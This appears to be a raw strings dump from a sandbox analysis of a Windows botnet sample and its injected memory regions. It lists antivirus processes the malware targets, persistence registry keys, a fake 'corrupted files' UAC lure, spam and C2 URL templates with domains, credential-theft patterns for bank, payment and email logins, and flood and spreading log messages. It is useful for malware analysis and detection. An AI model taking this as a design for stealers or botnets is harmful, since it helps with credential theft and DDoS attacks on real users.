919<9</pre><pre>=(=/=6==={=</pre><pre>4 4?4^4}4</pre><pre>6o6g6r6w6</pre><pre>9 9$9(90949</pre><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>SSh\LA</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>Invalid parameter passed to C runtime function.</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>GetKeyNameTextW</pre><pre>ExitWindowsEx</pre><pre>GetAsyncKeyState</pre><pre>USER32.dll</pre><pre>GDI32.dll</pre><pre>SHLWAPI.dll</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>KERNEL32.dll</pre><pre>zcÁ</pre><pre>RvKS.iu</pre><pre>z=~{%U</pre><pre>'t9P^%Um</pre><pre>ur$%C</pre><pre>Jn~{%d</pre><pre>4 ^%6SH></pre><pre>.IrZ<</pre><pre>b43m.kx</pre><pre>.fps~</pre><pre>2(8=.gCW</pre><pre>Á1Lj</pre><pre>.yNH></pre><pre>Software\Classes\CLSID\%S</pre><pre>G:%S_0xX</pre><pre>chrome.exe</pre><pre>opera.exe</pre><pre>safari.exe</pre><pre>maxthon.exe</pre><pre>:Mozilla\Firefox\Profiles</pre><pre>cookies.sqlite</pre><pre>%s\winsxs\x86_microsoft.windows.common-controls_*6.0.*_*</pre><pre>%s\winsxs\%s\comctl32.dll</pre><pre>SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\%s</pre><pre>%s:*:Enabled</pre><pre>avcuf32.dll</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>prstrui.exe</pre><pre>Windows Defender</pre><pre>MpClient.dll</pre><pre>Windows Defender\MSASCui.exe</pre><pre>MpSvc.dll</pre><pre>msseces.exe</pre><pre>MsMpEng.exe</pre><pre>MSASCui.exe</pre><pre>MpAsDesc.dll</pre><pre>MsMpLics.dll</pre><pre>avgui.exe</pre><pre>avgidsagent.exe</pre><pre>avgwdsvc.exe</pre><pre>avgdiagex.exe</pre><pre>avgmfapx.exe</pre><pre>avgupd.exe</pre><pre>avgcfgex.exe</pre><pre>avgnt.exe</pre><pre>avguard.exe</pre><pre>avshadow.exe</pre><pre>avcenter.exe</pre><pre>update.dll</pre><pre>updaterc.dll</pre><pre>usrreq.exe</pre><pre>ccsvchst.exe</pre><pre>symerr.exe</pre><pre>NIS.exe</pre><pre>NAV.exe</pre><pre>navw32.exe</pre><pre>avastui.exe</pre><pre>AvastEmUpdate.exe</pre><pre>ashUpd.exe</pre><pre>WRSA.exe</pre><pre>zatray.exe</pre><pre>ForceField.exe</pre><pre>updating.dll</pre><pre>fshoster32.exe</pre><pre>fsaua.dll</pre><pre>PSUNMain.exe</pre><pre>PSUAService.exe</pre><pre>PSANHost.exe</pre><pre>PSUNScan.dll</pre><pre>epavjobs.exe</pre><pre>AVENGINE.exe</pre><pre>Upgrader.exe</pre><pre>adaware.exe</pre><pre>BullGuard.exe.manifest</pre><pre>BullGuardUpdate.exe</pre><pre>BullGuard.exe</pre><pre>BullGuardScanner.exe</pre><pre>BullGuardBhvScanner.exe</pre><pre>BullGuardUpdate2.exe</pre><pre>BgScan.exe</pre><pre>BgScanEngine.dll</pre><pre>.manifest</pre><pre>updater.exe</pre><pre>Backup\RSD\RSSetup\updater.exe</pre><pre>RsTray.exe</pre><pre>RavMonD.exe</pre><pre>RsMgrSvc.exe</pre><pre>rsmain.exe</pre><pre>RsScan.dll</pre><pre>RsTray.dll</pre><pre>mbamgui.exe</pre><pre>mbam.exe</pre><pre>pctsGui.exe</pre><pre>pctsAuxs.exe</pre><pre>pctsSvc.exe</pre><pre>Update.exe</pre><pre>UpdateHlpr.dll</pre><pre>Definitions\vcore.dll</pre><pre>sbamui.exe</pre><pre>SBAMTray.exe</pre><pre>updater_client_mod.dll</pre><pre>FProtTray.exe</pre><pre>FPWin.exe</pre><pre>scf.dat</pre><pre>ALUpdate.exe</pre><pre>update_tmp.exe</pre><pre>arcaclean.exe</pre><pre>BavUpdater.exe</pre><pre>rcfp.exe</pre><pre>CLPSLA.exe</pre><pre>op_mon.exe</pre><pre>niu.exe</pre><pre>K7TSUpdT.exe</pre><pre>sguardxup.exe</pre><pre>ccupdate.exe</pre><pre>caupdate.dll</pre><pre>a2guard.exe</pre><pre>a2start.exe</pre><pre>a2service.exe</pre><pre>AVKTray.exe</pre><pre>GDSC.exe</pre><pre>AVK.exe</pre><pre>GDFirewallTray.exe</pre><pre>Bka.exe</pre><pre>BLuPro.exe</pre><pre>BkavSystemServer.exe</pre><pre>BkavService.exe</pre><pre>LiveUpdate.dll</pre><pre>LiveConnect.dll</pre><pre>BaseFile\Bkav\LiveUpdate.dll</pre><pre>V3Lite.exe</pre><pre>ASDSvc.exe</pre><pre>autoup.exe</pre><pre>downloader.exe</pre><pre>%s.config</pre><pre>updatesrv.exe</pre><pre>updatemgr.dll</pre><pre>egui.exe</pre><pre>ekrn.exe</pre><pre>x86\ekrn.exe</pre><pre>uWinMgr.exe</pre><pre>coreServiceShell.exe</pre><pre>uiSeAgnt.exe</pre><pre>uiWatchDog.exe</pre><pre>plugins\plugUpdater.dll</pre><pre>UiFrmwrk\uiUpdateTray.exe</pre><pre>coreFrameworkHost.exe</pre><pre>mcagent.exe</pre><pre>McSvHost.exe</pre><pre>McUICnt.exe</pre><pre>McPvTray.exe</pre><pre>mcui_exe</pre><pre>mcpltui_exe</pre><pre>mcshell.exe</pre><pre>mcupdmgr.exe</pre><pre>mcupdate.exe</pre><pre>mcshield.exe</pre><pre>mcupdui.dll</pre><pre>McAPExe.exe</pre><pre>.config</pre><pre>Image File Execution Options\%s</pre><pre>SYSTEM\CurrentControlSet\services\%s</pre><pre>%c:\ntusbdriver.sys</pre><pre>%c:\*p.exe</pre><pre>%c:\%s</pre><pre>p.exe</pre><pre>%WinDir%\explorer.exe</pre><pre>/C start /d. %s&"%s"</pre><pre>%COMSPEC%</pre><pre>%WinDir%\system32\shell32.dll</pre><pre>%c:\%s.lnk</pre><pre>VisthAux.exe</pre><pre>explorer.exe</pre><pre>t.minecraft</pre><pre>Works! PID: %d, Name: %s</pre><pre>cmdvirth</pre><pre>%s%s\X</pre><pre>tcp://</pre><pre>svchost.exe</pre><pre>csrss.exe</pre><pre>lsass.exe</pre><pre>smss.exe</pre><pre>wscript.exe</pre><pre>cscript.exe</pre><pre>vbc.exe</pre><pre>rundll32.exe</pre><pre>regsvr32.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</pre><pre>winlogon.exe</pre><pre>services.exe</pre><pre>%s\x.lnk</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>desktop.ini</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows</pre><pre>wintrust.dll</pre><pre>chrome.dll</pre><pre>Applications\iexplore.exe\shell\open\command</pre><pre>%s_xx</pre><pre>x.zip</pre><pre>Navw32.exe</pre><pre>SysInspector.exe</pre><pre>avscan.exe</pre><pre>mfefire.exe</pre><pre>wuauclt.exe</pre><pre>WerFault.exe</pre><pre>lFileZilla\sitemanager.xml</pre><pre>port</pre><pre>Sites.dat</pre><pre>Quick.dat</pre><pre>%s\3\%s</pre><pre>%s\4\%s</pre><pre>spoolsv.exe</pre><pre>steam.exe</pre><pre>skype.exe</pre><pre>origin.exe</pre><pre>dwm.exe</pre><pre>tapi3.dll</pre><pre>/C copy "%s" "%s"</pre><pre>SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run</pre><pre>Windows Update Service</pre><pre>"%s" /%s</pre><pre>Software\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>/CREATE /SC ONLOGON /TN "Windows Update Check - 0xX" /TR "%s" /RL HIGHEST</pre><pre>schtasks.exe</pre><pre>/DELETE /TN "Windows Update Check - 0xX" /F</pre><pre>\Windows\Explorer.exe</pre><pre>Low_X</pre><pre>%s.manifest</pre><pre>PendingFileRenameOperations</pre><pre>%s\X</pre><pre>Windows\CurrentVersion\Run</pre><pre>CurrentVersion\Windows</pre><pre>Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>Windows has encountered a corrupted folder on your hard drive</pre><pre>Multiple corrupted files have been found in the folder 'My Documents'. To prevent serious loss of data, please allow Windows to restore these files.</pre><pre>Corrupted folder: %s</pre><pre>Corrupted file count: %d</pre><pre><a href=".ms">%s</a></pre><pre>/c start "" "%s" /%s "%s"</pre><pre>shell32,ShellExec_RunDLL "%s" /%s "%s"</pre><pre>You denied the proper privileges to the Windows file restoration utility. Please select YES on the following UAC prompt to allow Windows to restore the corrupted files.</pre><pre>Windows 3.1 Update Service</pre><pre>%s:Zone.Identifier</pre><pre>%s\X.pif</pre><pre>KERNEL32.DLL</pre><pre>KERNELBASE.DLL</pre><pre>kernelbase.dll</pre><pre>5.42.37.0</pre><pre>Passage</pre><pre>Passage.exe</pre><b>sppp.exe_3600:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>mscoree.dll</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>KERNEL32.DLL</pre><pre>kernel32.dll</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>POST %s HTTP/1.0</pre><pre>User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; VS2)</pre><pre>Host: %s</pre><pre>GET %s HTTP/1.0</pre><pre>dnsapi.dll</pre><pre>8.8.8.8</pre><pre>----=_NextPart_d_X_.8lX..8lX</pre><pre>%s[%d]</pre><pre>%s%s %0.2d00</pre><pre>%s%s GMT</pre><pre>%s%s %0.2d00</pre><pre>(qmail %u by uid %u)</pre><pre>ÚTE</pre><pre>ÚTA</pre><pre>%FROM_EMAIL</pre><pre>%FROM_DOMAIN</pre><pre>úKE_NAME</pre><pre>x.8lx$.8lx$x@%s</pre><pre>%sd%s.%u.qmail@%s</pre><pre>EHLO %s</pre><pre>HELO %s</pre><pre>MAIL FROM:<%s></pre><pre>RCPT TO:<%s></pre><pre>hotmail.com</pre><pre>yahoo.com</pre><pre>aol.com</pre><pre>google.com</pre><pre>mail.com</pre><pre>http://</pre><pre>ymail.com</pre><pre>rocketmail.com</pre><pre>live.com</pre><pre>msn.com</pre><pre>%%temp%%\%u.tmp</pre><pre>ONLINE_REPORT</pre><pre>portconto</pre><pre>http://%s/spm/s_report.php?task=%u&id=%s</pre><pre>http://%s/spm/s_alive.php?id=%s&tick=%u&ver=%s&smtp=%s&task=%u&sl=%d&fw=%d&pn=%d&psr=0</pre><pre>http://%s/spm/s_alive.php?id=%s&tick=%u&ver=%s&smtp=%s&sl=%d&fw=%d&pn=%d&psr=0</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>MicrosoftPerfWD</pre><pre>{ABCDE1F2-AB34-CD5E-6FA1-234567BCE890}</pre><pre>operator</pre><pre>KERNEL32.dll</pre><pre>RegCreateKeyA</pre><pre>RegOpenKeyExA</pre><pre>RegOpenKeyA</pre><pre>RegCloseKey</pre><pre>ADVAPI32.dll</pre><pre>WS2_32.dll</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>GetConsoleOutputCP</pre><pre>mail.dqwjnewkwefewamail.com:443</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\sppp.exe</pre><b>sppp.exe_3600_rwx_00150000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\sppp.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\sppp.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>sppp.exe_3600_rwx_00400000_0001E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>mscoree.dll</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>KERNEL32.DLL</pre><pre>kernel32.dll</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>POST %s HTTP/1.0</pre><pre>User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; VS2)</pre><pre>Host: %s</pre><pre>GET %s HTTP/1.0</pre><pre>dnsapi.dll</pre><pre>8.8.8.8</pre><pre>----=_NextPart_d_X_.8lX..8lX</pre><pre>%s[%d]</pre><pre>%s%s %0.2d00</pre><pre>%s%s GMT</pre><pre>%s%s %0.2d00</pre><pre>(qmail %u by uid %u)</pre><pre>ÚTE</pre><pre>ÚTA</pre><pre>%FROM_EMAIL</pre><pre>%FROM_DOMAIN</pre><pre>úKE_NAME</pre><pre>x.8lx$.8lx$x@%s</pre><pre>%sd%s.%u.qmail@%s</pre><pre>EHLO %s</pre><pre>HELO %s</pre><pre>MAIL FROM:<%s></pre><pre>RCPT TO:<%s></pre><pre>hotmail.com</pre><pre>yahoo.com</pre><pre>aol.com</pre><pre>google.com</pre><pre>mail.com</pre><pre>http://</pre><pre>ymail.com</pre><pre>rocketmail.com</pre><pre>live.com</pre><pre>msn.com</pre><pre>%%temp%%\%u.tmp</pre><pre>ONLINE_REPORT</pre><pre>portconto</pre><pre>http://%s/spm/s_report.php?task=%u&id=%s</pre><pre>http://%s/spm/s_alive.php?id=%s&tick=%u&ver=%s&smtp=%s&task=%u&sl=%d&fw=%d&pn=%d&psr=0</pre><pre>http://%s/spm/s_alive.php?id=%s&tick=%u&ver=%s&smtp=%s&sl=%d&fw=%d&pn=%d&psr=0</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>MicrosoftPerfWD</pre><pre>{ABCDE1F2-AB34-CD5E-6FA1-234567BCE890}</pre><pre>operator</pre><pre>KERNEL32.dll</pre><pre>RegCreateKeyA</pre><pre>RegOpenKeyExA</pre><pre>RegOpenKeyA</pre><pre>RegCloseKey</pre><pre>ADVAPI32.dll</pre><pre>WS2_32.dll</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>GetConsoleOutputCP</pre><pre>mail.dqwjnewkwefewamail.com:443</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\sppp.exe</pre><b>winlogon.exe_712_rwx_015F0000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0`</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.